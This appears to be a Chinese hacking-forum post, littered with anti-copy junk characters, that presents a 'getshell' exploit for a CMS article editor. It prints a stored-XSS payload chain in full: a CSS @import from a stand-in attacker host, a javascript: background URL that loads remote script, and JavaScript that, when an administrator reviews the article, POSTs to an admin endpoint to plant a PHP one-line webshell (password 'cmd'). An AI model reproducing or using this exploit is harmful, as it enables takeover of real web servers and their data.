<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell% v8 q3 f, S( R9 B2 C+ B( T
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰). v% L( U9 H9 q8 N2 D2 W
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。) ?1 Y4 n4 q4 C, x* y: D
下面说说利用方法。' t" T; U3 ]# E g
条件有2个:* u/ E O# O1 B' v$ s& E0 P d
1.开启注册
- P/ w g. }4 N( g f2.开启投稿% h u0 i) p& ^
注册会员----发表文章
% \$ k3 q; L3 j$ {内容填写:
' G6 G* V& S+ @; ]& C- h复制代码7 E9 E4 O# p( z- h- w% r+ ^
<style>@im\port'\http://xxx.com/xss.css';</style>0 \: W6 A }( d @+ [
新建XSS.Css( ^6 L; _8 j% Z2 ^( i3 k) D& ]1 x
复制代码: l+ S& \+ ]; ~ s2 ~$ |; e; {
.body{& h8 n5 p8 S; I+ y
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
) b- u4 g6 p3 b- v0 I. z3 }% e新建xss.js 内容为
- T1 H9 j7 O/ I! m' r复制代码- Q2 \7 z; D. g3 Z7 j
1.var request = false;
% t. m& S& C. X7 k" [1 B5 F9 C2.if(window.XMLHttpRequest) {
/ h8 w+ I, G! c# `+ ?3.request = new XMLHttpRequest();
) N( S4 j+ u' g3 ?) q/ g; J$ R4.if(request.overrideMimeType) {
2 A2 l& o$ `" @$ X5.request.overrideMimeType('text/xml');3 x" `$ z# ~( V5 i
6.}
" T9 ?5 ^8 \- V! J* ]7.} else if(window.ActiveXObject) {7 ^$ ~/ `# J; l' b; a
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];8 v. T J5 G8 y+ F
9.for(var i=0; i<versions.length; i++) {
# Z& f& R D/ r9 M4 ?0 `10.try {$ J/ n O& B. _" I5 |3 Y
11.request = new ActiveXObject(versions);
1 `& X; T. d8 }2 n" C12.} catch(e) {}. V5 m# g$ m: t, F6 Y: R
13.}2 \: i+ e, ~2 y
14.}
& r9 O+ E8 d$ v) v3 E$ W15.xmlhttp=request;
1 \: \& ~9 [( n16.function getFolder( url ){
1 @3 ^9 ?, K+ Q/ Z. {; f4 `2 M. g17. obj = url.split('/')5 G3 Q# h* b9 ~ x" ~
18. return obj[obj.length-2]% g0 z( g) _% v4 y8 D- n
19.}& l7 q+ F+ ~6 |2 Y
20.oUrl = top.location.href;
$ ~# J" u% v7 t0 C$ X21.u = getFolder(oUrl);
$ s5 E8 j* l8 g& C) t; m22.add_admin();
# D" L# n8 H7 t- Y. z, q23.function add_admin(){+ p! K; J2 @6 u
24.var url= "/"+u+"/sys_sql_query.php";
% w' E. j6 q/ q/ m E25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";, d. Y. c# e1 ?7 ?7 O/ g9 v
26.xmlhttp.open("POST", url, true);, v, Y E$ Z# v3 J
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
; H& s$ Q) A, J& r. A& Q- j28.xmlhttp.setRequestHeader("Content-length", params.length);
6 S8 t$ x' x- |! H( {6 \29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
, F; e5 @- s% A. L30.xmlhttp.send(params);
4 m i5 |$ [8 e7 P" {" B" y31.}
r1 b2 `) @1 t' S! x& E6 H当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |